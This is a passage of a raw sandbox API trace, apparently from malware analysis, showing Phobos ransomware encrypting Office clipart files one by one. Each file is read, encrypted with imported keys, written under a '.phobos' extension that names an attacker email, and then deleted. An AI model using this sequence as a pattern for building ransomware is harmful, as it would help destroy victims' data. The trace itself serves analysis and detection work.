office\\root\\clipart\\pub60cor\\fd02088_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.053] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0178.053] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.053] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xe70, lpOverlapped=0x0) returned 1 [0178.179] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe80, dwBufLen=0xe80 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe80) returned 1 [0178.179] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xe80, lpOverlapped=0x0) returned 1 [0178.183] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1ad0) returned 1 [0178.183] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.183] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.183] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0178.183] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.183] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0178.183] CloseHandle (hObject=0x2e8) returned 1 [0178.183] CloseHandle (hObject=0x2c4) returned 1 [0178.184] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0178.185] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.186] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4660) returned 1 [0178.186] CloseHandle (hObject=0x2c4) returned 1 [0178.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0178.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.186] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.186] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.187] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b90) returned 1 [0178.187] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.187] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1234, lpOverlapped=0x0) returned 1 [0178.327] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1240, dwBufLen=0x1240 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1240) returned 1 [0178.327] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1240, lpOverlapped=0x0) returned 1 [0178.328] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a10) returned 1 [0178.328] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.328] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.328] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0178.328] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.328] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0178.328] CloseHandle (hObject=0x2c4) returned 1 [0178.328] CloseHandle (hObject=0x2e8) returned 1 [0178.328] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0178.330] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.331] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3988) returned 1 [0178.331] CloseHandle (hObject=0x2e8) returned 1 [0178.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0178.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.331] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.331] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.332] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0178.332] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.332] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xf94, lpOverlapped=0x0) returned 1 [0178.416] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xfa0) returned 1 [0178.416] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xfa0, lpOverlapped=0x0) returned 1 [0178.417] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1410) returned 1 [0178.417] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.418] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.418] CryptDestroyKey (hKey=0x1d1410) returned 1 [0178.418] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.418] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0178.418] CloseHandle (hObject=0x2e8) returned 1 [0178.418] CloseHandle (hObject=0x2c4) returned 1 [0178.418] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0178.420] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.421] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=5392) returned 1 [0178.421] CloseHandle (hObject=0x2c4) returned 1 [0178.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0178.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.422] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.422] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.422] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1ad0) returned 1 [0178.422] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.422] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x1510, lpOverlapped=0x0) returned 1 [0178.477] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1520, dwBufLen=0x1520 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x1520) returned 1 [0178.477] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x1520, lpOverlapped=0x0) returned 1 [0178.478] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b50) returned 1 [0178.478] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.478] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.478] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0178.478] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.478] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0178.478] CloseHandle (hObject=0x2c4) returned 1 [0178.478] CloseHandle (hObject=0x2e8) returned 1 [0178.479] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0178.480] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.481] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1648) returned 1 [0178.481] CloseHandle (hObject=0x2e8) returned 1 [0178.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0178.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.481] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.481] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.482] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1510) returned 1 [0178.482] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.482] ReadFile (in: hFile=0x2e8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x670, lpOverlapped=0x0) returned 1 [0178.552] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x680, dwBufLen=0x680 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x680) returned 1 [0178.552] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x680, lpOverlapped=0x0) returned 1 [0178.553] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b90) returned 1 [0178.553] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.553] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.553] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0178.553] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.553] CryptDestroyKey (hKey=0x1d1510) returned 1 [0178.553] CloseHandle (hObject=0x2e8) returned 1 [0178.553] CloseHandle (hObject=0x2c4) returned 1 [0178.553] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0178.555] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0178.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.556] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2070) returned 1 [0178.556] CloseHandle (hObject=0x2c4) returned 1 [0178.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0178.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0178.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0178.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.557] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0178.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0178.557] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d14d0) returned 1 [0178.558] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.558] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x816, lpOverlapped=0x0) returned 1 [0178.567] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x820, dwBufLen=0x820 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x820) returned 1 [0178.567] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x820, lpOverlapped=0x0) returned 1 [0178.569] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0178.569] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0178.569] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0178.570] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0178.570] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0178.570] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0178.570] CloseHandle (hObject=0x2c4) returned 1 [0178.570] CloseHandle 